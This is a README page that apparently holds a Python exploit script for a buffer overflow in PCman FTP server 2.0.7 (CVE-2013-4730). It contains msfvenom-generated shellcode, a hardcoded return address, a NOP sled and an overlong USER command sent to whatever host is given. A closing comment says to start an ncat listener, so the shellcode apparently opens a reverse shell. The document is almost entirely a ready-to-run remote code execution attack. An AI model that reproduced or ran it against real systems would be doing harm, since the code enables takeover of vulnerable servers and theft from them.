README.md
Rendering markdown...
#PCman FTP server 2.0.7 Buffer overflow by t0rt3ll1n0
#From internal DoS to RCE? Try using a shellcode!!
#If you want the RCE, you have to overwrite both the buffer and the EIP to execute the shellcode
#Under GNU GPL v3.0 license, but you can use and modify it without problems
#Developer do not assume any liability about illegal actions
#CVE-2013-4730 ~ Score: 10.0 Critical!!
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
'''
badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
'''
#Example shellcod, obtained with msfvenom
buf = ""
buf += "\xdb\xdf\xb8\xec\xcb\xb8\x3e\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x4f\x83\xea\xfc\x31\x42\x15\x03\x42\x15\x0e"
buf += "\x3e\x44\xd6\x47\xc1\xb5\x27\x37\x4b\x50\x16\x65\x2f"
buf += "\x10\x0b\xb9\x3b\x74\xa0\x32\x69\x6d\x33\x36\xa6\x82"
buf += "\xf4\xfc\x90\xad\x05\x31\x1d\x61\xc5\x50\xe1\x78\x1a"
buf += "\xb2\xd8\xb2\x6f\xb3\x1d\xae\x80\xe1\xf6\xa4\x33\x15"
buf += "\x72\xf8\x8f\x14\x54\x76\xaf\x6e\xd1\x49\x44\xc4\xd8"
buf += "\x99\xf5\x53\x92\x01\x7d\x3b\x03\x33\x52\x58\x7f\x7a"
buf += "\xdf\xaa\x0b\x7d\x09\xe3\xf4\x4f\x75\xaf\xca\x7f\x78"
buf += "\xae\x0b\x47\x63\xc5\x67\xbb\x1e\xdd\xb3\xc1\xc4\x68"
buf += "\x26\x61\x8e\xca\x82\x93\x43\x8c\x41\x9f\x28\xdb\x0e"
buf += "\xbc\xaf\x08\x25\xb8\x24\xaf\xea\x48\x7e\x8b\x2e\x10"
buf += "\x24\xb2\x77\xfc\x8b\xcb\x68\x58\x73\x69\xe2\x4b\x60"
buf += "\x0b\xa9\x03\x45\x21\x52\xd4\xc1\x32\x21\xe6\x4e\xe8"
buf += "\xad\x4a\x06\x36\x29\xac\x3d\x8e\xa5\x53\xbe\xee\xec"
buf += "\x97\xea\xbe\x86\x3e\x93\x55\x57\xbe\x46\xf9\x07\x10"
buf += "\x39\xb9\xf7\xd0\xe9\x51\x12\xdf\xd6\x41\x1d\x35\x61"
buf += "\x46\x8a\x76\xda\x49\x49\x1f\x19\x49\x4c\x64\x94\xaf"
buf += "\x24\x8a\xf1\x78\xd1\x33\x58\xf2\x40\xbb\x76\x92\xe1"
buf += "\x2e\x1d\x62\x6f\x53\x8a\x35\x38\xa5\xc3\xd3\xd4\x9c"
buf += "\x7d\xc1\x24\x78\x45\x41\xf3\xb9\x48\x48\x76\x85\x6e"
buf += "\x5a\x4e\x06\x2b\x0e\x1e\x51\xe5\xf8\xd8\x0b\x47\x52"
buf += "\xb3\xe0\x01\x32\x42\xcb\x91\x44\x4b\x06\x64\xa8\xfa"
buf += "\xff\x31\xd7\x33\x68\xb6\xa0\x29\x08\x39\x7b\xea\x38"
buf += "\x70\x21\x5b\xd1\xdd\xb0\xd9\xbc\xdd\x6f\x1d\xb9\x5d"
buf += "\x85\xde\x3e\x7d\xec\xdb\x7b\x39\x1d\x96\x14\xac\x21"
buf += "\x05\x14\xe5"
# You have to delete it and replace with your own
nop = '\x90'*20
ret = '\xD7\x30\x9D\x7C'
#EIP pattern
pattern = "A"*2004 + ret + nop + buf
exploit_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exploit_socket.connect((host, port))
exploit_socket.recv(1024)
exploit_socket.send("USER " + pattern)
exploit_socket.close()
#connessine chiusa
#lancia ncat -lvp <porta usata nella creazione dello shellcode>